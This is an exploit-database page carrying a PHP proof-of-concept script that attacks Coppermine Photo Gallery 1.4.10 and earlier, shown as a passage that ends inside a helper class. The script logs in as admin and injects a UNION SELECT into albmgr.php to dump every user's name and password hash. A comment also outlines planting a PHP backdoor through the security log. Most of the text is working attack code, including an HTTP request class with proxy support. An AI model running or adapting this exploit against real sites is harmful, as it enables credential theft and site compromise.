Lucene search
K

Coppermine Photo Gallery <= 1.4.10 Remote SQL Injection Exploit

🗓️ 06 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Coppermine Photo Gallery <= 1.4.10 Remote SQL Injection Exploit. Affected software: Coppermine Photo Gallery <= 1.4.10, Type: SQL Injection, Risk level: Medium, Src download: coppermine-gallery.net, Poc link: acid-root.new.fr/poc/19070104.txt, Credits: DarkFi

Code

                                                #!/usr/bin/php
&lt;?php
if($argc&nbsp;&lt;&nbsp;4)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nAffected.scr..:&nbsp;Coppermine&nbsp;Photo&nbsp;Gallery&nbsp;&lt;=&nbsp;1.4.10&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nPoc.ID........:&nbsp;19070104&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nType..........:&nbsp;SQL&nbsp;Injection&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nRisk.level....:&nbsp;Medium&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nSrc.download..:&nbsp;coppermine-gallery.net&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nPoc.link......:&nbsp;acid-root.new.fr/poc/19070104.txt&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nCredits.......:&nbsp;DarkFig&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nUsage.........:&nbsp;php&nbsp;xpl.php&nbsp;&lt;url&gt;&nbsp;&lt;adminuser&gt;&nbsp;&lt;adminpass&gt;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nProxyOptions..:&nbsp;&lt;proxhost:proxport&gt;&nbsp;&lt;proxuser:proxpass&gt;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nExample.......:&nbsp;php&nbsp;xpl.php&nbsp;http://c.com/&nbsp;admin&nbsp;passwd&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
}


/*/
&nbsp;[0]&nbsp;=&gt;&nbsp;xpl.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[1]&nbsp;=&gt;&nbsp;http://localhost/cpg1410/
&nbsp;[2]&nbsp;=&gt;&nbsp;root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[3]&nbsp;=&gt;&nbsp;toor
&nbsp;[4]&nbsp;=&gt;&nbsp;localhost:8200&nbsp;&nbsp;[5]&nbsp;=&gt;&nbsp;user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl-&gt;agent(&quot;InternetExploiter&quot;);
$xpl-&gt;cookiejar(1);
$xpl-&gt;allowredirection(1);

print&nbsp;&quot;\nheader&gt;&nbsp;===============================================&quot;;
print&nbsp;&quot;\nheader&gt;&nbsp;Coppermine&nbsp;Photo&nbsp;Gallery&nbsp;1.4.10&nbsp;(SQL&nbsp;Injection)&quot;;
print&nbsp;&quot;\nheader&gt;&nbsp;===============================================&quot;;

if(!empty($pxs)){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nstatus&gt;&nbsp;Using&nbsp;a&nbsp;proxy&nbsp;$pxs&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xpl-&gt;proxy($pxs);
}

if(!empty($pxa)){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nstatus&gt;&nbsp;Basic&nbsp;proxy&nbsp;authentification&nbsp;$pxa&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xpl-&gt;proxyauth($pxa);
}


/*/
&nbsp;Table&nbsp;prefix.
/*/
print&nbsp;&quot;\nstatus&gt;&nbsp;Searching&nbsp;the&nbsp;version&quot;;
$xpl-&gt;get($url.'include/index.html');
if(preg_match(&quot;#Coppermine&nbsp;version:&nbsp;([0-9]*\.[0-9]*\.[0-9]*)#&quot;,$xpl-&gt;getcontent(),$matches))&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Coppermine&nbsp;version&nbsp;&quot;.$matches[1];
else&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Not&nbsp;found&quot;;
$table&nbsp;=&nbsp;!empty($matches[1])&nbsp;?&nbsp;'cpg'.str_replace('.','',$matches[1]).'_users'&nbsp;:&nbsp;'cpg1410_users';


/*/
&nbsp;If&nbsp;you&nbsp;have&nbsp;the&nbsp;admin&nbsp;cookie&nbsp;(but&nbsp;not&nbsp;the&nbsp;password),
&nbsp;replace&nbsp;lines&nbsp;73=&gt;76&nbsp;by&nbsp;$xpl-&gt;addcookie('yourcookie');
/*/
print&nbsp;&quot;\nstatus&gt;&nbsp;Trying&nbsp;to&nbsp;get&nbsp;logged&nbsp;in&quot;;
$xpl-&gt;post($url.&quot;login.php?referer=index.php&quot;,&quot;username=$adu&amp;password=$adp&amp;remember_me=1&amp;submitted=Se+Connecter&quot;);
if(!preg_match(&quot;#color:red#&quot;,$xpl-&gt;getcontent()))&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Done&quot;;
else&nbsp;die(&quot;\nstatus&gt;&nbsp;Exploit&nbsp;failed\n&quot;);


/*/
&nbsp;(usermgr.php)
&nbsp;=============
&nbsp;case&nbsp;'group_alb_access'&nbsp;:
&nbsp;if&nbsp;(isset($_GET['gid']))&nbsp;&nbsp;$group_id&nbsp;=&nbsp;$_GET['gid'];
&nbsp;$sql&nbsp;=&nbsp;&quot;SELECT&nbsp;group_name&nbsp;&nbsp;FROM&nbsp;[...]&nbsp;WHERE&nbsp;group_id&nbsp;=&nbsp;$group_id&nbsp;[...]&quot;;
&nbsp;$result&nbsp;=&nbsp;cpg_db_query($sql);

&nbsp;(db_ecard.php)
&nbsp;==============
&nbsp;$start&nbsp;=&nbsp;isset($_REQUEST['start'])&nbsp;?&nbsp;$_REQUEST['start']&nbsp;:&nbsp;'';&nbsp;&nbsp;[...]
&nbsp;if&nbsp;(!$start)&nbsp;{$startFrom&nbsp;=&nbsp;'0';}else{$startFrom=$start;}&nbsp;&nbsp;[...]
&nbsp;$result&nbsp;=&nbsp;cpg_db_query(&quot;SELECT&nbsp;[...]&nbsp;ORDER&nbsp;BY&nbsp;$sortBy&nbsp;$sortDirection&nbsp;LIMIT&nbsp;$startFrom,$countTo&quot;);

&nbsp;(albmgr.php)
&nbsp;============
&nbsp;$cat&nbsp;=&nbsp;isset($_GET['cat'])&nbsp;?&nbsp;($_GET['cat'])&nbsp;:&nbsp;0;
&nbsp;if&nbsp;($cat&nbsp;==&nbsp;1)&nbsp;$cat&nbsp;=&nbsp;0;
&nbsp;if&nbsp;(GALLERY_ADMIN_MODE)&nbsp;{
&nbsp;$result&nbsp;=&nbsp;cpg_db_query(&quot;SELECT&nbsp;[...]&nbsp;WHERE&nbsp;category&nbsp;=&nbsp;$cat&nbsp;ORDER&nbsp;BY&nbsp;pos&nbsp;ASC&quot;);

&nbsp;(filename_to_title())
&nbsp;=====================
&nbsp;$albumid&nbsp;=&nbsp;(isset($_POST['albumid']))&nbsp;?&nbsp;$_POST['albumid']&nbsp;:&nbsp;0;
&nbsp;$albstr&nbsp;=&nbsp;($albumid)&nbsp;?&nbsp;&quot;&nbsp;WHERE&nbsp;aid&nbsp;=&nbsp;$albumid&quot;&nbsp;:&nbsp;'';&nbsp;[...]
&nbsp;$result&nbsp;=&nbsp;cpg_db_query(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;{$CONFIG['TABLE_PICTURES']}&nbsp;$albstr&quot;);

&nbsp;(del_titles())
&nbsp;==============
&nbsp;$albumid&nbsp;=&nbsp;(isset($_POST['albumid']))&nbsp;?&nbsp;$_POST['albumid']&nbsp;:&nbsp;0;
&nbsp;$albstr&nbsp;=&nbsp;($albumid)&nbsp;?&nbsp;&quot;&nbsp;WHERE&nbsp;aid&nbsp;=&nbsp;$albumid&quot;&nbsp;:&nbsp;'';
&nbsp;$result&nbsp;=&nbsp;cpg_db_query(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;{$CONFIG['TABLE_PICTURES']}&nbsp;$albstr&quot;);
/*/
print&nbsp;&quot;\nstatus&gt;&nbsp;Retrieving&nbsp;all&nbsp;members&nbsp;password&quot;;
$xpl-&gt;get($url.&quot;albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*&quot;);
if(preg_match_all(&quot;#&lt;option&nbsp;value=\&quot;album_no=(.*),album_nm='([a-z0-9]{32})'#&quot;,$xpl-&gt;getcontent(),$matches))&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Done&quot;;
else&nbsp;die(&quot;\nstatus&gt;&nbsp;Exploit&nbsp;failed\n&quot;);

print&nbsp;&quot;\nsploit&gt;&nbsp;+----------------------------------+----------+&quot;;
print&nbsp;&quot;\nsploit&gt;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PASSWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;USER&nbsp;&nbsp;&nbsp;|&quot;;
print&nbsp;&quot;\nsploit&gt;&nbsp;+----------------------------------+----------+&quot;;


/*/
&nbsp;(init.inc.php)
&nbsp;==============
&nbsp;$HTML_SUBST&nbsp;=&nbsp;array('&amp;'&nbsp;=&gt;&nbsp;'&amp;amp;',&nbsp;'&quot;'&nbsp;=&gt;&nbsp;'&amp;quot;',&nbsp;'&lt;'&nbsp;=&gt;&nbsp;'&amp;lt;',&nbsp;'&gt;'&nbsp;=&gt;&nbsp;'&amp;gt;',&nbsp;'%26'&nbsp;=&gt;&nbsp;'&amp;amp;',&nbsp;'%22'&nbsp;=&gt;&nbsp;'&amp;quot;',&nbsp;'%3C'&nbsp;=&gt;&nbsp;'&amp;lt;',&nbsp;'%3E'&nbsp;=&gt;&nbsp;'&amp;gt;','%27'&nbsp;=&gt;&nbsp;'&amp;#39;',&nbsp;&quot;'&quot;&nbsp;=&gt;&nbsp;'&amp;#39;');
&nbsp;[...]
&nbsp;if&nbsp;(is_array($_POST))&nbsp;{&nbsp;//&nbsp;and&nbsp;GET,&nbsp;SERVER,&nbsp;REQUEST...
&nbsp;foreach&nbsp;($_POST&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value)&nbsp;{
&nbsp;if&nbsp;(!is_array($value))
&nbsp;$_POST[$key]&nbsp;=&nbsp;strtr(stripslashes($value),&nbsp;$HTML_SUBST);
&nbsp;if&nbsp;(!in_array($key,&nbsp;$keysToSkip)&nbsp;&amp;&amp;&nbsp;isset($$key))&nbsp;unset($$key);
&nbsp;}

&nbsp;...&nbsp;that's&nbsp;why&nbsp;we&nbsp;use&nbsp;the&nbsp;html_entity_decode()&nbsp;function.
&nbsp;I&nbsp;just&nbsp;wanted&nbsp;&lt;&nbsp;for&nbsp;a&nbsp;remote&nbsp;php&nbsp;code&nbsp;execution&nbsp;sploit&nbsp;without&nbsp;admin&nbsp;rights&nbsp;:'(.
&nbsp;When&nbsp;the&nbsp;admin&nbsp;view&nbsp;the&nbsp;security&nbsp;logs,&nbsp;it&nbsp;include&nbsp;&quot;security.log.php&quot;...

&nbsp;(security.log.php)
&nbsp;==================
&nbsp;[...]
&nbsp;if&nbsp;(!defined('IN_COPPERMINE'))&nbsp;die();&nbsp;?&gt;

&nbsp;Denied&nbsp;privileged&nbsp;access&nbsp;to&nbsp;viewlog.php&nbsp;from&nbsp;user&nbsp;Guest&nbsp;at&nbsp;&nbsp;on&nbsp;January&nbsp;4,&nbsp;2007,&nbsp;2:10&nbsp;pm
&nbsp;Failed&nbsp;login&nbsp;attempt&nbsp;with&nbsp;Username:&nbsp;&amp;lt;?php&nbsp;mail(you);&nbsp;[...]&nbsp;fwrite(backdoor.php);&nbsp;[...]&nbsp;/*&nbsp;from&nbsp;IP&nbsp;127.0.0.1&nbsp;on&nbsp;Jan&nbsp;04,&nbsp;2007&nbsp;at&nbsp;01:16&nbsp;PM
/*/
for($i=0;$i&lt;count($matches[0]);$i++)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;|&nbsp;&quot;.$matches[2][$i].'&nbsp;|&nbsp;'.html_entity_decode($matches[1][$i]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($i==(count($matches[0])-1)){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;+----------------------------------+----------+\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}

class&nbsp;phpsploit&nbsp;{

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)&nbsp;die(&quot;Error:&nbsp;The&nbsp;host&nbsp;doesn't&nbsp;exist&quot;);
		
		if($this-&gt;method===&quot;get&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;GET&nbsp;&quot;.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		elseif($this-&gt;method===&quot;post&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;POST&nbsp;&quot;.$this-&gt;url.&nbsp;&quot;&nbsp;HTTP/1.1\r\n&quot;;
		else&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Proxy-Authorization:&nbsp;Basic&nbsp;&quot;.base64_encode($this-&gt;proxyuser.&quot;:&quot;.$this-&gt;proxypass).&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$this-&gt;host.&quot;\r\n&quot;;
		
		if(!empty($this-&gt;agent))&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;&quot;.$this-&gt;agent.&quot;\r\n&quot;;
		if(!empty($this-&gt;header))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;header.&quot;\r\n&quot;;
		if(!empty($this-&gt;cookie))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;&quot;.$this-&gt;cookie.&quot;\r\n&quot;;
		
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		if($this-&gt;method===&quot;post&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';
		
		fputs($socket,$this-&gt;packet);
		while(!feof($socket))&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);
		fclose($socket);
		
		if($this-&gt;cookiejar)&nbsp;$this-&gt;cookiejar($this-&gt;getheader($this-&gt;recv));
		if($this-&gt;allowredirection)&nbsp;return&nbsp;$this-&gt;allowredirection($this-&gt;recv);
		else&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name=newvalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;othername=overvalue;&nbsp;xx=zz;&nbsp;y=u&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;addcookie($cookn,$cookv='')
	{
		//&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);&nbsp;work&nbsp;avec&nbsp;replace
		if(!empty($cookv))
		{
			if($cookv&nbsp;===&nbsp;&quot;deleted&quot;)&nbsp;$cookv='';&nbsp;//&nbsp;cookiejar(1)&nbsp;&amp;&amp;&nbsp;Set-Cookie:&nbsp;name=delete
			if(!empty($this-&gt;cookie))
			{
			&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(&quot;/$cookn=/&quot;,$this-&gt;cookie))
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;preg_replace(&quot;/$cookn=(\S*);/&quot;,&quot;$cookn=$cookv;&quot;,$this-&gt;cookie);
			&nbsp;&nbsp;&nbsp;&nbsp;}
			&nbsp;&nbsp;&nbsp;&nbsp;else
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;.=&nbsp;&quot;&nbsp;&quot;.$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;&nbsp;//&nbsp;&quot;&nbsp;&quot;.
			&nbsp;&nbsp;&nbsp;&nbsp;}
			}
			else
			{
				$this-&gt;cookie&nbsp;=&nbsp;$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;
			}
		}
		//&nbsp;$this-&gt;addcookie(&quot;name=value;&nbsp;othername=othervalue&quot;);
		else
		{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;if(!empty($this-&gt;cookie))
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookn&nbsp;=&nbsp;preg_replace(&quot;/(.*);$/&quot;,&quot;$1&quot;,$cookn);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookarr&nbsp;=&nbsp;explode(&quot;;&quot;,str_replace(&quot;&nbsp;&quot;,&nbsp;&quot;&quot;,$cookn));
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	for($i=0;$i&lt;count($cookarr);$i++)
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		preg_match(&quot;/(\S*)=(\S*)/&quot;,$cookarr[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$this-&gt;addcookie($cookn,$cookv);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	}
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;}
			&nbsp;else
			&nbsp;{
			&nbsp;	$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===&quot;;&quot;)&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.&quot;;&quot;;
			&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;$cookn;			
			&nbsp;}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername&quot;,&quot;headervalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername:&nbsp;headervalue&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue
	&nbsp;*/
	public&nbsp;function&nbsp;addheader($headern,$headervalue='')
	{
		//&nbsp;$this-&gt;addheader(&quot;name&quot;,&quot;value&quot;);
		if(!empty($headervalue))
		{
			if(!empty($this-&gt;header))
			{
				if(preg_match(&quot;/$headern:/&quot;,$this-&gt;header))
				{
					$this-&gt;header&nbsp;=&nbsp;preg_replace(&quot;/$headern:&nbsp;(\S*)/&quot;,&quot;$headern:&nbsp;$headervalue&quot;,$this-&gt;header);
				}
				else
				{
					$this-&gt;header&nbsp;.=&nbsp;&quot;\r\n&quot;.$headern.&quot;:&nbsp;&quot;.$headervalue;
				}
			}
			else
			{
				$this-&gt;header=$headern.&quot;:&nbsp;&quot;.$headervalue;
			}
		}
		//&nbsp;$this-&gt;addheader(&quot;name:&nbsp;value&quot;);
		else&nbsp;
		{
			if(!empty($this-&gt;header))
			{
				$headarr&nbsp;=&nbsp;explode(&quot;:&nbsp;&quot;,$headern);
				$headern&nbsp;=&nbsp;$headarr[0];
				$headerv&nbsp;=&nbsp;$headarr[1];
				$this-&gt;addheader($headern,$headerv);
			}
			else
			{
				$this-&gt;header=$headern;
			}
		}
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip&quot;,&quot;8118&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip:8118&quot;)
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost
	&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport
	&nbsp;*/
	public&nbsp;function&nbsp;proxy($proxy,$proxyp='')
	{
		//&nbsp;$this-&gt;proxy(&quot;localhost:8118&quot;);
		if(empty($proxyp))
		{
			preg_match(&quot;/^(\S*):(\d+)$/&quot;,$proxy,$proxarr);
			$proxh&nbsp;=&nbsp;$proxarr[1];
			$proxp&nbsp;=&nbsp;$proxarr[2];
			$this-&gt;proxyhost=$proxh;
			$this-&gt;proxyport=$proxp;
		}
		//&nbsp;$this-&gt;proxy(&quot;localhost&quot;,8118);
		else&nbsp;
		{
			$this-&gt;proxyhost=$proxy;
			$this-&gt;proxyport=intval($proxyp);
		}
		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server
	&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;dapasswd&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig:dapasswd&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass
	&nbsp;*/
	public&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse='')
	{
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig:password&quot;);
		if(empty($proxypasse))
		{
			preg_match(&quot;/^(.*):(.*)$/&quot;,$proxyauth,$proxautharr);
			$proxu&nbsp;=&nbsp;$proxautharr[1];
			$proxp&nbsp;=&nbsp;$proxautharr[2];
			$this-&gt;proxyuser=$proxu;
			$this-&gt;proxypass=$proxp;
		}
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;password&quot;);
		else
		{
			$this-&gt;proxyuser=$proxyauth;
			$this-&gt;proxypass=$proxypasse;
		}
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;&quot;User-Agent&quot;&nbsp;header.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;agent(&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent:&nbsp;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent&quot;,&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent
	&nbsp;*/
	public&nbsp;function&nbsp;agent($useragent)
	{
		$this-&gt;agent=$useragent;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showheader();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$header
	&nbsp;*/
	public&nbsp;function&nbsp;showheader()
	{
		return&nbsp;$this-&gt;header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showcookie();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$storedcookies
	&nbsp;*/
	public&nbsp;function&nbsp;showcookie()
	{
		return&nbsp;$this-&gt;cookie;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showlastrequest();
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$last_http_request
	&nbsp;*/
	public&nbsp;function&nbsp;showlastrequest()
	{
		return&nbsp;$this-&gt;packet;
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost&quot;);
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost:888/xd/tst.php&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;get&quot;;
